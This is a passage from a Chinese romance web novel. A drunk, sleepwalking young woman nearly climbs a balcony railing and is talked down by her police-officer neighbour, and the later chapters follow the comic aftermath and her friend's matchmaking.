她曾经有段时间睁眼闭眼都是那个场景,仿佛要将那天的事情经历千次万次,心里钻心的疼。
现在梦到了也还是疼,却已经对这种疼痛的感知变得有些麻木。
乔星若从沙发上起来,忘了穿拖鞋,就这么赤着脚回了房间。
她在床边坐下,面对着阳台,目光呆滞。
半晌,她再次缓缓站起身,如同没有灵魂的木偶般挪着伐步,抬手打开紧锁的阳台门,一步一步走了出去。
“……”
现在的气温对陈时澹来说已经不算冷了,他洗完澡出来,下半身只围了个浴巾。
想起出差前忘了收进房间的衣服,陈时澹随意擦了一下头发,便往阳台的方向走。
于是,他来到阳台的时候看到的就是这么个场景——
乔星若的手撑着栏杆,作势要翻过去。
陈时澹惊诧一瞬,来不及多想就下意识喊住那边的人。
“乔星若!”
对面的人的动作顿住。
几秒后,她缓缓转头,朝他看了过来。
陈时澹心有余悸,仍绷着身体,视线紧紧盯着她的动作。
一时弄不清楚她是什么情况,他怕惊扰到她的神经,声音放得很轻。
“你怎么了?”
“受了什么委屈,可以跟我说一下吗?”
乔星若看着他没说话,很快又继续刚才的动作,手臂撑着栏杆,一条腿往上抬。
“等等,等一下,乔星若,若若。”
陈时澹的声线颤了颤,话头一个“等等”甚至没发出声。
他喉结滚动着,蓦然察觉到乔星若的情况不同于寻常那种想不开的轻生。
神态过于平静了,更像是无意识的,类似梦游的情况。
他努力抑制着慌张,用平静的语气跟她说话,试图引导她的行为。
“若若,过来这边好不好?这边也有栏杆,我扶着你,你就不会疼了。”
“……”
乔星若眨了眨眼,听到不会疼,眼睛泛起一层水雾。
“真的不疼吗?”她歪着头,轻声问。
“真的。”
僵持片刻,乔星若把腿放下来,温吞地往他的方向走。
和刚才的动作一样,用手撑着陈旧的铁栏杆,撑着身体往上翻。
在她翻上栏杆之际,陈时澹长臂圈过她的腰部,把人抱了下来。
注意到她没穿鞋,他没把她放到地板上,而是放在了自己的脚背上。
夜风冷冽,将一身酒味的人吹向他。
陈时澹闻到她身上的味道,微微怔住:“喝酒了?”
乔星若安静垂着眼,将脸埋进了他的身体里。
陈时澹还没来得及穿衣服,被风吹得冰凉的脸没有任何阻挡地贴在他的胸脯上,那个地方的血流僵了一瞬,而后变得滚烫。
“若若,”他虚搂着怀里的人,轻声询问,“为什么要这样?”
“这样……这样就安全了……”乔星若的声音闷闷的,有些翁气。
陈时澹喉结滚动了一下。
他无法想象她曾出于多绝望的情况下,才会在现在无意识的情况下,潜意识里觉得跳楼是安全的。
“骗人。”乔星若吸了吸鼻子,在他怀里蹭了一下。
“嗯?”
胸前传来湿润的触感,陈时澹意识到这是眼泪。
“你骗人……还是很疼,他们用那种眼神看我……还是很疼……”
“为什么要可怜我……为什么要,觉得我很脏……”
“我不脏的……他没有得逞,就算……就算……真的对我做了什么,我也不脏的……我不是自愿的,我是受害者……”
乔星若抽抽噎噎哭诉着,神情茫然无措,又很难过。
眼睛和鼻子泛着红,似被人忽视了感受没有安全感的小孩子,委屈得要碎掉了。
陈时澹因为职业原因见识过很多类似的情况,不难猜出她很有可能遭遇过的事情。
第一反应是心疼。
很心疼。
怪不得去年重逢时,她对他的警惕性极强,像一个有被害妄想症的人。
不是像,应该就是。
她的心理问题严重到需要吃药。
她需要那么辛苦地活着。
他喉咙干涩得厉害,心脏似是被人紧紧攥着,连呼吸都困难。
她那时候是不是很害怕?
一定很害怕吧。
是不是为了躲开那个人,选择从唯一能逃生的窗口或是阳台跳下去了?
那得多疼……
她身体不好,伤口恢复得应该也慢。
“我知道的,我知道。”陈时澹闭了闭眼,再睁眼时,眼底一片红。
“我们若若这么爱干净,一点都不脏。是他们不好,冤枉我们若若,让若若受委屈了。”
可乔星若好像只沉浸在自己的世界里,用带着哭腔的声音自顾自呢喃。说到最后,她甚至开始犹疑,开始怀疑自己。
“……为什么他们都这样?为什么都这么觉得……妈妈为什么每天都在哭……”
许敏那段时间面对她时,还是用以往平和的微笑。
可她能通过那双布满血丝红肿的眼睛里看出来,在夜里也能通过一门之隔听到房间里细碎哽咽的声音。
“她是不是也觉得他们说得对……”
“不对。”
陈时澹的手臂只是虚环着乔星若的后腰,却依然能感觉到她身体的颤抖。
他抬起手,一下一下顺着她的发丝,带着安抚意味。
“他们说的不对,你妈妈也没有觉得他们说得对。她只是太爱你,太懂你的委屈了,心疼你才哭的。”
“已经安全了,已经安全了,若若。”
“害怕是正常的,想哭就哭。坚持到现在很辛苦吧?我们若若真的很厉害。”
“……”
不知过来多久,陈时澹怀里的人早已停止了抽泣。
满是泪痕的脸上被酒精晕染的绯红还未褪尽,唇色却是苍白的。
她蹙眉阖眼,睫毛轻轻颤着,犹如羽翼破碎的残蝶,上面还挂着随时能将它压垮的水珠。
陈时澹抬手给她擦了一下,轻声问:“要回自己的房间睡觉吗?”
他轻碰了碰腰腹上的小臂,她却将手臂收的更紧了。
闷闷的声音传来:“不可以回去……不能一个人待在房间里……”
“……”陈时澹叹了口气,送她回隔壁的想法作罢。
况且要是送她回去,他也怕她半夜又跑出来翻栏杆,还得盯着她,他这一晚上都得在阳台吹风。
“听得到我说话啊?”陈时澹的语调尽量柔和下来,温声哄着她,“乖,松手。”
以为他要赶自己走,乔星若愠怒了,张口朝他的肩膀咬了下去。
随后像是发现新大陆一样,伸出舌头舔了一下。
她小声咕哝:“你怎么有橙子的味道,你是橙子吗?”
陈时澹:“……”
他的身体被这湿漉漉的触感激活了一般,全身僵硬,体温还有升高的趋势。
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尤其是被舔的地方,和刚才她把眼泪蹭在他身上的感觉不同。
湿润、柔软,存在感却不容忽视。
“别闹。”陈时澹无奈抓起她的手,往自己的脖颈上放,“那你扶着我的脖子总行了吧?”
乔星若这次听话了,另一只手也环住他的脖颈,安静看着他。
陈时澹弯下腰,把人拦腰抱起,往房间里面走。
乔星若只在整个人腾空而起时受惊了一下,后面窝在他怀里变得安静,但不算老实。
她碰了碰陈时澹的耳垂,歪了下头:“嗯?你的耳朵怎么这么红?”
陈时澹:“……”真的很想让她闭嘴。
看到被碰过的耳朵更红了,甚至蔓延至脖颈及以下。乔星若觉得有意思,忍不住弯起漂亮的眸子傻笑起来。
陈时澹把她放到床上,想直起身,可这醉鬼愣是不松手。
乔星若仰着头,鼻间的气息全撒在他的颈肩上,一呼一吸间,温软灼烫。
这个动作本该是很暧昧的,可对上她宛若稚童般干净的星眸时,陈时澹居然觉得自己更像是哄骗人进来的那个,心里隐隐升起负罪感。
“乔星若,你还认得我是谁吗?”
乔星若眨了眨眼,诚实回答:“不认得。”
“……”陈时澹眉心一跳,撑着床的手臂青筋更明显了几分。
到底是谁骗她去喝酒的,要是被人骗走了怎么办?
而且以她的德性,可能在路边看到个长得帅的就跟着人走了。
“但是你的味道好好闻,我喜欢。”乔星若因为刚哭过,声音带着鼻音,腔调也软,听着有点像撒娇。
陈时澹一怔。
她喜欢他……的味道?
那四舍五入算不算喜欢他?
但她都不认得人了,谁知道她说的是谁。
陈时澹的眸色又黯淡下去。
“我说过的,再这样就把你关起来。”他将环在脖颈上的手撤了下来,语气里带着生硬的威胁,“听话,不然明天就不放你走了。”
意外的是乔星若居然没有挣扎,乖乖松了手,整个身体窝进棉被里。
因为她发现被子里也有熟悉的橙子沐浴露味道,严严实实盖着很有安全感。
乔星若在枕边躺下,整个身体蜷缩成一小团,渐渐熟睡过去。
倒是站在床边的陈时澹,在床上的人撤回拥抱之后,莫名感觉有点空。
虽然不是他主动的,但他还是觉得有点心虚,所以束手无措地想让她松手。
真的松开之后,又有点……意犹未尽。
甚至有些后悔没有抱久一点。
陈时澹到阳台吹了一会儿冷风,忽地有点想抽烟。
他没抽过烟,自然是没有烟瘾。
当初中二病时期想学来着,还没把烟点着就被刘夕梅发现了,拿鸡毛毯子追了他三条街。
一边追他,一边骂他天天在画室吸碳粉,那个肺已经够黑的了,还敢抽烟。
后来才知道他妈以前田径省队的。
就离谱。
—
翌日。
乔星若从一张陌生的床上醒来,感觉自己还没完全醒。
酒后钝痛灼灼,她忍不住拍了下额头,此时脑子里充满了对自己身处何地的问号。
“???”
“??????”
因为前段时间刚看完米谰写的一本穿越文,她很难不往那方面想。
她穿越了吗?
是有钱人的那种吗?
“咳。”
旁边传来一声咳嗽。
40. 补偿
乔星若下意识转头看过去。
这个房间没有装窗帘,清晨的光线直直撒进来,她的眼睛还没有适应,被刺得下意识眯起眼。
脑子里回想起刚才看到的那一幕,乔星若觉得不太对劲,试探性睁开了一只眼睛。
有位帅哥逆着光坐在豆袋上,脑袋低垂着,抱臂阖眼。
乔星若没戴隐形眼镜看不太清,细看身形还有点熟悉。
她一下子惊醒,立即从床上坐起来。
管他什么帅不帅的,出现在她房间的陌生人她只会幺幺零!!!!!
乔星若一脸惊恐地低头看了眼自己的衣服,完整的,还是昨晚那件。身体也没有什么不该有的感觉,暗自松了口气。
再次抬眼,她的眼神里只剩下戒备,顺手抄起旁边的枕头砸了过去。
“我丢——”
正中坐在豆袋上的人的脑袋。
“?”那人缓缓抬起头,朝她看了过来。
乔星若一个激灵从床上蹦起来,紧紧抓着被子,随时准备等他过来闷死他。
同时还眼珠乱转着找趁手的防身武器,只看到了旁边矮柜上的手机。
乔星若迅速拿起来,磕磕绊绊地警告:“你、你别过来,我、我报警了啊——”
“锁屏密码698451,你报。”
乔星若:唉?
声音有点熟悉。
不确定,再瞅瞅。
陈时澹把枕头捡起来,起身走了过来。
乔星若疑惑:“你怎么在这?”
陈时澹轻笑一声:“你要不看看这是谁房间?”
乔星若打量了一下周围,瞬间呆住。
这是陈时澹房间啊!!
连自己手里的手机都是!他的!!!!!
她怎么跑到这来的??
而且她这么强的吗,把人赶下床然后鸠占鹊巢,害他只能缩在小小沙发里过一夜???
很、不、合、理。
乔星若看向对面的人的眼神充满了怀疑。
陈时澹好整以暇看着她,唇角微微勾起:“小朋友,我猜你脑袋里有一百个问号。”
没那么少。
“但是你先不要瞎想,我可是受害者。”
乔星若哆嗦了一下,眉心皱到一起:“所以……那是怎么回事?”
“你昨晚啊,”陈时澹把昨晚随便套的上衣脱下来,换上舒适的家居服,“可牛逼了。”
乔星若的眼睛措不及防看到这幅情景,这一大早的有点接受不了,连忙捂住眼睛,声音细弱蚊鸣:“……你不能,不能随便脱衣服……”
陈时澹极轻地扬了下眉:“这是我家,我想怎就怎。”
“还听不听了?”
“……你说。”
“我昨晚刚出差回来,就看到你一身酒气从你家翻过来,给我吓的,还以为家里进贼了。”
乔星若一脸不可置信。
去年是她家的猫翻过来他家,今年升级了,改成她本人了……
他不会以为她是故意的吧?
沉默片刻,乔星若恍惚地咽了咽口水:“然、然后呢?”
“然后……”
劣根性作祟,陈时澹本想把事情编的更过分一点,比如她又对他做了什么不道德事情。
但又怕她一时不敢面对真连夜搬家了,那他上哪找人去。
所以考虑了一下,还是算了。
“然后你就把我这当自己家似的,倒头就睡了呗,没看出来我昨晚在哪睡的?”
陈时澹下巴往豆袋的方向撇了一下,扯了扯唇:“我借调到宁城办了好几天的案,一天都没睡够两三个小时,好不容易结束回来了,还要被你占床。”
“这就算了,结果窝窝囊囊在沙发凑合一晚,一大早还被你用枕头砸。”
乔星若听完了自己的袭警行为,一时没敢吭声。
emmm听着他还怪可怜的,感觉自己很不是人。
“你说,是不是得补偿我?”
“……”
房间里缄默半晌,乔星若默默松开一直攥着的被子,有些为难地挠挠头:“嗯……我昨晚喝醉了,应该挺臭的……你这被子肯定沾了味儿了……要不我帮你洗被子补偿?”
“难得你有这份自觉。”陈时澹装模作样考虑了一下,而后无情拒绝,“但这不是你应该做的?这算什么补偿。”
乔星若想了半天,实在没想到自己能为他做什么。
“那……你要什么补偿?”
“我还没想好,想好了之后再告诉你,被子就不用你洗了。”
“好吧……”
陈时澹绕过床尾,走到乔星若面前,伸手用力揉了揉她的头发:“祖宗,我整整两天没合眼了,现在我要补觉了,出门右拐把门带上,谢谢。”
“哦,好……”乔星若被揉得懵懵的,下意识转身照做。
陈时澹看着乔星若离开的背影,勾了下唇。
她是小呆鹅吗?
刚才告诉她了,她是翻阳台过来的。
她那边都锁了,好奇她怎么回去。
果然,几分钟后,玄关门再次被人打开。乔星若偷偷溜进来,一点一点往陈时澹的房间挪。
一堵人墙堵住了她的去路。
乔星若讪笑一声:“嗨……你,还没睡啊……”
陈时澹倚门看她,嘴里噙着笑意:“怎么?觉得我这边户型比较好一点,想搬过来?”
乔星若红着脸摆手:“不是不是……那个,我昨晚应该真的是从阳台翻过来的……我那边开不了门……”
陈时澹毫不意外,表面却装作恍然大悟:“所以你要翻回去?”
“嗯……”轻似蚊鸣的声音从鼻间发出,乔星若窘迫得脸都要埋进胸口了。
怎么会如此尴尬!!
还要被他看着她翻栏杆,跟要把昨晚的操作重新演变一次似的,还是倒退版本……
不想活了啊啊啊。
两人来到阳台,乔星若往下看了一眼,没敢多看。
八楼……
她腿软。
但为了回家,只能如此了。
乔星若昨晚断片儿了,没有昨晚的记忆,不知道自己怎么翻的,只好凭着感觉小心翼翼地尝试。
她正打算撑着手抬腿时,忽然被陈时澹叫住。
“你等会儿。”
两边的阳台之间的间隔大概只有不到三十厘米,陈时澹撑着栏杆,利落翻了过去。
落到对面后,他朝乔星若张开手臂:“你现在过来,我扶着你。”
“哦……”
乔星若正要照做,突然灵机一动:“师哥,你都过去了,可以去帮我开一下门吗?”
陈时澹:“……”
到底谁说她是小呆鹅?
是小机灵鬼吧?
陈时澹动作僵了两秒,缓缓将手臂垂到身侧,冷冷“哦”了一声,转身就走。
能回家的乔星若开心
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极了,雀跃地小跑出陈时澹家,等他把她家的门从里面打开。
陈时澹神情恹恹,看的出来他真的很困,乔星若道谢后又愧疚地跟他道了歉,象征性关心了几句,让他好好休息。
—
因为早上的事情,乔星若一整天都心不在焉的。上午课间坐在办公室里,一手撑着颓丧低垂的脑袋。
一想到自己睡了陈时澹的床……
何德何能啊!
心乱乱的,真的无颜面对他了。
就在她胡乱画着东西时,桌上多了杯咖啡。
乔星若抬眼看到了江嘉明,下意识说了声“谢谢”。
江嘉明笑了笑:“客气。你怎么了,看你今天心不在焉的,而且脸色看着有点憔悴,昨晚没休息好?”
乔星若捧着咖啡的杯沿,含混回答:“没……就,昨晚跟朋友喝了点酒,所以今天不太精神。”
“跟朋友在外面喝吗?”
“不是,在家。”
“那还好,女生在外面喝醉不太安全。”
一说到这个乔星若的脸又苦了下来。在家里也不见得多安全啊。
都说醉酒壮胆,她是真的信了。毕竟八楼的栏杆她说翻就翻了,有这个实力做什么都会成功的。
江嘉明看乔星若骤变的脸色,有些意外:“我说错话了?”
“不是,没有。”乔星若连忙摆手,“我就是想起昨晚喝醉之后……遇到了我邻居,挺尴尬的。”
江嘉明记得她的邻居是谁,不动声色问:“那个陈师哥啊?你们关系很好?”
“算好吧……”乔星若不知道怎么回答,瞥了眼手机屏幕上显示的时间,连忙起身,“到上课时间了,那我先过去了。”
“好。”江嘉明目送她离开办公室,随即拿起刚才就注意到的她桌上的画稿。
应该是刚才随手画的,画法有些潦草,是一个简短的Q版小故事。
一个女生翻到一个男生的房间里,霸占了男生的床睡觉,男生蜷缩在角落。
还有一行小字备注:怎会如此社死……
女生外形明显的特征是披散着的头发,耳边扎了条小辫子,用星星形状的发夹装饰。跟乔星若今天的发型对上了。
男生的特征不太明显,非要说的话,就是眼角下的泪痣。
结合刚才的对话,江嘉明大概猜到了什么。
正好这时门口传来开门的动静,有人进来了。他下意识把画稿放了回去,动作有些慌乱。
进来的是欧辞钦,看到他的动作,秒懂的眼神中意有所指:“喂,就算你对人家若若有意思,乱翻人家东西也是不对的。”
“……”江嘉明轻咳一声,“没有乱翻,一眼就看到了。”
欧辞钦眉梢一扬,从口袋里掏出了张东西扔给他:“这个殷勤给你献了,哥们。”
江嘉明接住,定睛一看。
拨筋养生馆会员卡。
—
作为上班摸鱼选手,乔星若趁小朋友们都在专心画画时,走到教室后面偷看了眼绿泡泡。
然后就看到了米谰不久前发过来的消息,说中午要过来接她下课,后面还加了个可爱的表情包。
乔星若无声笑了笑,回复了一个“欧克”。
上午的课程结束后,乔星若拎包下楼,一眼就看到了不远处玩手机的小姐妹。
有心灵感应般,米谰也回头看到了她,小碎步跑过来跟她贴贴,语气娇俏:“若若小朋友下课啦~”
41. 助攻
“好啦好啦。”乔星若的脸颊都要被米谰挤爆了,“别贫了,想吃什么?”
“嘿嘿,我早就看好了。”米谰打开手机给她看,“这家餐厅超火的,据网上说是来海城必吃的店,我们去那里吃!”
乔星若看过店名和地址之后,心想哪有那么夸张,这家餐厅她大学期间和邱宁去过,味道一般般,是靠网络营销手段火起来的。
但她还是装作有兴致的模样:“好呀好呀。”
两人打车过去。餐厅走的网红风格,很多人来尝鲜,所以生意还行,她们在靠窗的位置坐下点餐。
等餐期间,米谰注意到乔星若有些红肿的眼睛,关心问了句:“若若,你昨晚没休息好啊,眼睛怎么看着像哭过了一样?”
乔星若用手机屏幕当镜子照了一下,语气犹疑:“我昨晚应该没哭……吧?”
她今天早上照镜子时也吓了一跳,眼睛肿得跟桃子似的,不知道的还以为她昨晚干嘛了呢。
乔星若努力回忆着,实在想不起昨晚发生的事情。
米谰表示纳闷:“不应该啊,昨晚我回酒店熬夜码了几个小时的字才躺下,今天看着都比你精神,还是说昨晚我离开之后你也熬夜了?”
“没有,我很早就睡了。但是……”乔星若又想起了今天早上的事情,一脸沮丧地把自己知道的一股脑说了出来。
米谰听得目瞪口呆。
她消化完所有信息,概括了一下:“你是说你昨晚爬到隔壁家去了,霸占了人家的床,还刚好被你那个出差回来的警察小哥哥撞见了?”
乔星若无力点头,但还是不愿接受,严谨补了句:“他是这么跟我说的。”
“嗐,我看也八九不离十了,至少你早上出现在人家房间里是事实。”米谰作为资深网文作者,敏锐察觉到什么,忽然严肃凑近,“等等,那你哭是因为……”
乔星若愣了一下,反应过来她的意思时脸颊瞬间爆红,压低声否认:“我们没有!”
“真的吗?”米谰还是有些怀疑。
毕竟孤男寡女共处一室,女方还喝醉断片了。
好熟悉的套路。
乔星若重重点头:“真的,我醒来的时候身上的衣服是完好的……身上什么痕迹什么感觉都没有,他也只是在沙发上凑合了一晚。”
“那就好那就好。”米谰松了口气,忽然想起昨晚在电梯口遇到的那个男人,“哎,你crush是昨晚回来的?”
“对呀。”乔星若下意识回答,下一秒便从对面的人神情里看出了浓浓的八卦气息。
“若儿,今晚我要跟你回去!”
“……”
米谰下午没什么事做,便在画室旁边的奶茶店坐着等乔星若下课。注意到时间差不多了,还特意给后者点了杯奶茶。
乔星若过来找她的时候,奶茶也正好做出来了。
米谰看了眼网约车平台:“我打的车应该还有十来分钟到哦。”
“你打车了?”乔星若挨着她坐下,从口袋里掏出手机,“刚才陈时澹发消息给我,他说他下午出门办事,回来正好路过这里,问需不需要顺便接咱们回去。”
米谰歪了下头:“陈时澹是谁?”
“就是……他啊。”乔星若不太说得出“crush”这个词,感觉怪别扭的。
米谰恍然大悟“哦”了一声。
“那我跟他说一声吧。”乔星若小声嘀咕了一句,低头捣鼓手机。
米谰好奇问:“你要跟他说什么?”
“说不用过来了啊,”乔星若有些茫然,“你不是打车了吗?”
“你傻呀宝贝,crush来接你都拒绝,我恨你是块木头!”米谰恨铁不成钢地瞪了她一眼。
乔星若挠了挠头发,有些难为情:“因为早上的事情……我现在还不太敢面对他……”
米谰笑嘻嘻地眨眨眼:“这有什么尴尬的,他自己主动提的来接你,说明他不介意昨晚的事情啊,他肯定对你有意思!”
乔星若被这话一点拨,懵了一瞬。但她还是不太敢相信,心里觉得没底。
“万一是……”
“哪有那么多万一,我真求你了宝,你听我的!”米谰说着都替她着急了,“你就说你对他啥没做吧,摸也摸了抱也抱了,他这都不抗拒你,想想能是因为什么呀乔木若!”
乔星若抿了抿唇,语气干巴巴的:“他说是路过……”
“你不是说他今天休假吗,顺哪门子路?”
乔星若想起刘夕梅催婚那架势,几乎是恨不得把陈时澹休息时间安排满了,有些不确定道:“……相亲?”
米谰:“……”
米谰才不管乔星若怎么纠结,直接把网约车取消了。
因为超时取消还扣了钱,但为了自家好闺闺的幸福,这点钱没了就没了。
几分钟后,乔星若收到了陈时澹发来的语音条。她本来想转文字,但在米谰热切的目光中,还是硬着头皮点开了。
陈时澹:“我到了。”
虽然只有短短三个字,但米谰还是激动晃着乔星若的胳膊:“若若你crush的声音好好听!你、吃、这、么、好!”
“别胡说。”乔星若脸有点热,拎着奶茶起身,“快走啦。”
“哟哟哟这是迫不及待去见某人了?”
“我那是怕耽误人家时间!”
“……”
她们从奶茶店出来,乔星若看到了马路对面陈时澹的车,给米谰指了一下。
米谰小声哔哔:“这车可以啊,不是说警察没什么钱吗,富二代啊?”
乔星若压低声道:“应该是的,我和我妈妈现在租的房子都是他家的。”
“若若你千万别因为贫富差距觉得配不上他啊,你还有我这个有点小钱的娘家人……”
两人嘀嘀咕咕着,很快走到了陈时澹的车前。
乔星若了解自家闺密大大咧咧的性格,戳了戳米谰暗示她别再乱说话。
米谰接收到信号,比了个“OK”的手势。
陈时澹不知什么时候从车上下来了,见到她们微微颔首。
米谰不动声色挑了下眉。
果然是昨晚在电梯口遇到的高冷帅哥。
她自学板绘几年,和乔星若一样,对人的五官特征观察几乎是出于潜意识行为。虽然昨晚陈时澹戴着口罩,但那双眼睛实在另类的漂亮,很难认错。
倒是这气质嘛,和昨晚单独遇到时的感觉一点都不同呢。
还是有几分冷冽感,但已经全然没了锐气,眼神不经意流露出来点小温柔。
不用想就知道是因为谁。
短短几秒,米谰已经在脑子里构思出一本小说的大纲了。
陈时澹也认出了乔星若身边的女生。是昨晚在电梯口遇
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到的。
他在他们那栋楼的租客里没见过这个人,从楼里下来还盯着他看,当时他的目光里便多了下意识的审视。
现在才知道她是乔星若的朋友,态度自然要温和一些。
陈时澹勾起一抹微笑:“你好,我是星若的邻居,陈时澹。”
米谰还是有点没适应他态度的转变,晃了下神。反应过来讪笑一声:“陈老师你好,我是若若的娘家……咳,若若的好朋友米谰。”
她因为工作经常尊称别人老师,所以也顺口这么叫了。
陈时澹没说什么,拉开车后门:“你们还没吃晚饭吧,现在一起去吃个饭?”
乔星若转头看米谰,眼神询问后者意见。
米谰点点头:“可以。”
乔星若在社交上可以说是零天赋。她觉得留米谰一个人坐后面不太好,但又想到之前想坐后座被陈时澹凶了,一时之间有些纠结。
关键是每次内心纠结完之后,她都会准确无误选出一个得罪人的选择。
陈时澹睨了她一眼,主动开口:“你和你朋友一起坐后面吧。”
“啊、好的,谢谢。”乔星若眉心舒展,安心坐了进去。
三人商量完吃什么后,便没再展开什么新话题。
乔星若拘谨,米谰被迫拘谨,但闲不住嘴。
她的眼珠子溜溜转着想找话题给乔星若助攻,最后都被某怂包眼神警告憋了回去。
最后无奈放弃,开始玩手机。
路上氛围还算和谐,乔星若才稍稍放松一点警惕,就听到旁边的人用正常音量来了句:“对了若若,你之前画的那个图我抽时间改了一下,还画了续集哦,回去发给你看嘿嘿嘿~”
“?”
乔星若:“……”
在这方面真的,不、想、秒、懂!
乔星若心虚瞄了一眼前面主驾上的人,瞄到了陈时澹微微泛红的耳廓,只想从车里消失。
什么是真正的社死……
死了一路,终于到了粤菜馆。
点完餐后,乔星若去了趟厕所,回来时发现米谰已经跟陈时澹聊起来了。
她是真的害怕米谰为了给他们之间添点材火直接浇汽油,连忙坐了回去。
幸好米谰也只是问了陈时澹一些关于他这个职业的事情。
看到乔星若回来,米谰忽然眨眨眼:“陈老师,你跟我们若若高中是一个画室的呀?”
乔星若:“?!!”这是要做什么?!!
陈时澹注意到乔星若不太自然的小动作,不动声色勾了下唇:“是的,我们集训时三大类的主教老师还恰好都是一样的,是同门。”
米谰心里“哦”了一声,笑嘻嘻道:“那你们真的好有缘分哎,以前是师兄妹,现在还成了邻居,真是天赐的缘分呀~”
乔星若讪讪笑着,实际上在桌底下暗戳戳地捏了捏米谰的侧腰,示意她闭嘴。
旁观者清,米大大才过来两天,便轻易看出了这场暗恋是两个人的事情。
两个在感情方面表现内敛的人,有时候就是需要外力推一把,要不然都不知道要一直这样僵着到猴年马月。
米谰觉得自己这趟不能白来,起码要给他们的感情线拉一下进度。
菜上齐后吃到中途,米谰故意磕碰掉筷子借口去换一双,实则偷偷去跟老板串通好情侣半价,自己先付了一半的钱。
42. 嗯
到结账时,老板笑容灿烂地走过来:“恭喜你们是本店今天的第66桌顾客,六六大顺,在座有情侣的可半价哦~”
另一位演员米谰故作勉为其难地轻咳一声:“啊,这样啊,我们这桌刚好……”
乔星若意识到她要说什么,懵了一下。
但好像……也不是不行……
“谢谢,我们不用。”陈时澹没有任何犹豫便拒绝了。
他比较要面子,跟异性一起吃饭一般都默认他来买单。
所以他的想法也很简单,他和乔星若还没有在一起,如果为了省半顿饭钱让她跟自己假装情侣,显得自己很掉价不说,还很不尊重她的意愿。
他是喜欢乔星若,但他还不确定她的心意,不应该用任何理由去道德捆绑她。
陈时澹打开手机的付款码,示意自己要结账。
米谰:“……”她一百多块钱花给木头了。
乔星若没说话,唇微微抿着,心里有点失落。
老板保持微笑:“……好的。”
结完账后,三人准备离开。
老板叫住了米谰:“那个……美女可以加个联系方式吗?以后店里有什么活动可以通知你们。”
“好的。”米谰木然伸出了手机,屏幕上显示的是收款码。
“……”
从饭馆出来,趁陈时澹去把车开过来的时候,乔星若问米谰:“谰谰,刚才那个活动……是真的吗?”
米谰挽着她的臂弯,垂头丧气地靠在她的肩膀上:“真的你信吗,人老板都把钱退给我了。”
乔星若噗嗤一声,安慰说:“没关系呀,就……顺其自然嘛。”
“……”
三人路上各怀心思,回到小区停好车一起上楼。
电梯厢上行时,陈时澹忽然开口问:“我今天在家做了些甜点,你们要尝尝吗?”
说的是“你们”,眼睛直视的方向却是乔星若。
米谰表示磕到了,那小表情快将激动二字呼之欲出。
乔星若却莫名不敢回视,目光向下乱瞟。
“好、好呀。”
米谰看不下去她这么怂,也还没忘记助攻的事,当即扔了个炸弹。
“陈老师,点心是特意为若若做的吗?”
“?!”乔星若不可置信地转头看向这个语出惊人的逆闺。
这是要毁了她吗……
“……”陈时澹揉了揉后脖颈,再垂下手时白皙的颈侧染上了一片绯红。
他脸上的肌肉紧绷,从神情上看不出有什么异样,可晦涩的声线却有些藏不住了。
“嗯。”
这个回答由鼻间和喉咙艰难挤出,声音极轻,像柔软的羽毛落入乔星若的心里,带着浅淡的痒。
她不敢看陈时澹,如果此时有勇气稍稍抬头,很轻易便能看出他眸底的情意。
乔星若没看到,旁观者米谰却尽收眼底。
拿到陈时澹做的泡芙回屋后,米谰疯狂晃着乔星若的肩膀,声音激动不已:“姐妹!他!肯定!喜欢你!”
“我求你了啊啊啊啊啊,他都特意给你做甜点了,这么明显你都看不出来!!”
乔星若抿了抿唇:“我就是……不太敢确定……”
“这还不确定啊?我都怀疑他喜欢你好久了,说不定是对你一见钟情嘞。”米谰没忘记乔星若跟她说过的和陈时澹第一次见面的事情。
当时她听完就说他们怪好嗑的。
“不可能,”乔星若一下子就否了,她虽然记性不好,但关于陈时澹说过大部分的话都记得,“他之前跟我提起这事的时候就明确说了,他对我这种脑回路清奇的女生没兴趣。”
米谰咂舌:“他真这么说啊?”
乔星若郑重点头:“他前两周还说了,让我赶紧找个男朋友,不然他跟我待在一起害怕。”
乔星若不是一个圆滑机灵的人,她经常分不清别人说的话是认真还是玩笑,除非特别明显,否则几乎一律当真。
可能当时听着没什么,事后却一直记挂着,像一个不痛不痒的疙瘩,却一直在那。
米谰觉得匪夷所思,刚才看陈时澹的神情也不像装的。
“……嘴硬吧这是?”
但这些话也确实容易误导乔星若,谁禁得住crush这么说话。
乔星若本来就是一个心思细腻、喜欢假设很多未知结果的女孩子。
她比较悲观,潜意识觉得做出一个决定就意味着未知的变化,所以宁愿缩在自己的安全区里。
对于乔星若来说,喜欢一个人已经是一件很勇敢的事情了。
可那个人对她的态度又是那么的模棱两可,让她犹豫不定,不敢再往前一步,害怕踩空。
米谰刚才兴起的激情少了一半,对隔壁的人升起了怨念。
她只跟陈时澹认识不到半天,对他大部分的了解都是从乔星若那里听来的,所以自然向着自家闺闺。
她先前看好陈时澹,是因为乔星若喜欢。
现在发现他也有让乔星若不开心的时候,便对他印象转变。
“什么人啊,宝咱要不换一个人喜欢?”米谰想起今天在乔星若画室见到的另两位大帅哥老师,“你那两位合伙人帅哥就不错啊。”
乔星若一脸惊恐:“你是要我毁了这个搭伙过起来的安稳日子吗?”
米谰不以为意:“你太怂啦宝,要不……姐姐带你去找男模见见世面?”
“不、要!”
“好好好,咱们若若独美也行。”
“……”
米谰来海城这几天,乔星若没什么时间陪她,还觉得很愧疚。
但米谰觉得没什么,每天除了码字画画,就是打车到处逛,去的都是网上推荐海城有名的地方。
她到了饭点便去画室找乔星若吃饭,有回还和后者跟江嘉明欧辞钦一起了。
凭借自己敏锐的观察能力和超准直觉,这位小明老师应该是对她家若若有意思的。
可惜,以自己对乔星若的了解,后者移情别恋的可能性为零。
乔星若是一个很重情的人,在她心里有分量的人,只要不是犯了原则性的错误,她都会对这段感情投入源源不断的赤诚衷心。
所以米谰很珍惜这个朋友,这样的人是很难得的。
—
米谰离开海城那天,乔星若带她回许敏那边吃了饭,饭后母女俩送她到机场。
米谰抱着乔星若哭唧唧:“呜呜若宝我好舍不得你~”
乔星若拍拍她的背:“那……我有时间去云城找你玩呀。”
“好好好,到时候全程费用我都包了,你可要说话算话!”
米谰松开胳膊,改捏乔星若的脸。
“要好好吃饭,不许再瘦了!”又转头看向许敏,开玩笑道,“有个做饭这么好吃的妈妈你还不好好吃饭,把妈妈送给我吧?”
乔星若佯装生气:
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“不可以!”
“那干妈行了吧?干妈!”
乔星若眉眼弯起:“那好吧。”
米谰立即改口:“妈!”
许敏笑着答应。
“……”
离开机场,许敏送乔星若回画室上课,分别前问她今晚下课需不需要来接送她。
乔星若拒绝了,诚实说:“……陈时澹说他今晚加班,顺便过来接我回去。”
